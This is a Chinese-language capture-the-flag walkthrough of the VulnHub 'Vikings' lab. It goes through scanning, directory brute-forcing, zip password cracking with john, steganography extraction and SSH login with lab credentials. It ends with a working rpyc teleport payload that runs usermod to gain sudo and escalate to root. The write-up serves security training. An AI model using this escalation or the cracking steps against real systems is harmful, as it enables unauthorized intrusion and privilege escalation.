目录
1.bashrc和profile都是Shell的启动设置文件
2.查看/usr/local/bin/rpyc_classic.py
地址:
https://download.vulnhub.com/vikings/Vikings.ova
一、主机发现
二、端口扫描
三、服务版本发现
-p扫描指定端口,-sC是用默认脚本扫描,-sV是对服务版本的发现。可以看到下面22端口ssh服务,unbuntu系统,80端口开启http服务。
四、信息收集
1.登录80页面
可以看到是这么一个页面,当我们点击site/文件时,响应非常的慢,一直在加载Google的某个站点所以很慢。
2.加载后
出现了一个外国人和一段文字,讲了一段故事,出现了几个人名。
3.扫目录
(1)gobuster
gobuster dir -r -u http://192.168.43.243/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html,php,jsp,txt
(2)查看war.txt
出现了个目录
(3)查看/war-is-over
出现了一对密文,一看有+ / 大小写 数字,尝试base64解密
五、cyberchef
1.base64解密
解密出来仍然是一推密文。也不知道是啥类型的文件
2.Detect file type
在用这个detect file type模块可以识别出文件类型,是压缩文件类型。
六、zip解压
单词:extract(提取精炼)解压缩,
1.解压
压缩文件加密了,解压还要密码,收集也收集不到,只能去爆破了
2.john爆破
1.zip2john编码处理
编码处理转化为hash值
zip2john miwen2.zip > hash
2.john爆破
(1)cp字典
cp /usr/share/wordlists/rockyou.txt.gz .
(2)解压字典
gunzip ./rockyou.txt.gz
(3)爆破
john hash --wordlist=rockyou.txt
爆破出了密码
ragnarok123,名字是那个开头故事入侵者他爸ragnar
3.king图片
解压后出现了一张名为king的图片,但是呢,没有别的信息
七、隐写
百度百科:
隐写术是一门关于信息隐藏的技巧与科学,所谓信息隐藏指的是不让除预期的接收者之外的任何人知晓信息的传递事件或者信息的内容。隐写术的英文叫做Steganography。
1.steghide
我们用到了这个参数,展示关于一个覆盖或隐藏文件,
(1)尝试查看
steghide info king
结果仍然是要口令passphrase。暴力破解走不通。只能尝试慢慢去分析这个文件。
2.binwalk
(1)分析
binwalk是一个文件的分析工具,-B参数去扫描文件以常见的签名
binwalk -B king
这里分别有十进制,十六进制,和描述信息,在描述信息中我们可以看到,里面有zip文档资料。压缩大小,解压后的大小和解压后的名user
(2)提取
binwalk -e king
提取后我们可以发现有一个_king.extracted文件夹
(3)查看
得到了一些信息。
八、ssh登录
通过这串信息经过一番尝试,通过用户名密码
floki f@m0usboatbuilde7
成功拿到了一个普通shell
九、信息收集
在有两个文件,一个boat 一个readme自述信息,先查看自述信息,发现他让我们来构造“boat”,在查看boat,我们看到两行代码,第一行第29个素数赋值给num,后交给一个函数处理,这个函数为角谷猜想。根据他的提示去构造代码,找到更多信息。
十、角谷猜想
1.生成第29个素数
n=0
for i in range(1000):
if i<1:
continue
for j in range(2,i):
if i % j == 0:
break
else:
n+=1
print(n,"::",i)
2.角古猜想
n = int(input('请输入一个数字(自然数):'))
print('角谷猜想的整个序列是:\n%d'%n)
while n!=1:
if n % 2 == 0:
k = n / 2
n = k
if n<256:
print('%d'%n)
elif n == 1:
print('%d'%n)
break
else:
g = 3 * n + 1
n = g
if n<256:
print('%d'%n)
十一、解码
1.replace替换
2.十进制对应的ascii编码对应的字符
3.string模块
挑选出可打印出来的字符串
4.replace
十二、登录ragnar
当我们用获得的密码,通过ssh登录ragnar账户时,虽然成功登录,但是又让我们输入sudo的密码。输入之前获得的两个密码又不正确。猜测这里使用了某个开机就执行的命令。
十三、查看shell启动相关文件
1.bashrc和profile都是Shell的启动设置文件
当查看profile文件时,看到了sudo执行的python命令,可以猜测这就是登录shell就执行命令的原因。
2.查看/usr/local/bin/rpyc_classic.py
通过搜索我们可以知道rpyc这是一个远程方法调用的库,查看了文档后,尝试去构造payload
3.构造payload
(1)在客户端构造一个连接
import rpyc
conn = rpyc.classic.connect("localhost")
(2)teleport methd
def square(x):
return x ** 2
fn = conn.teleport(square)
fn(2)
(3)整合一下
import rpyc
def aaa():
import os
os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(aaa)
fn()
(4)查看18812(默认端口)的状态
服务端服务是开启的,python exp.py执行成功后,再次登录ragnar的用户我们会发现我们拥有了sudo的权限
(4)提权
登录ragnar用户后,我们来提权。
sudo -s
也可以用美化下界面
sudo -i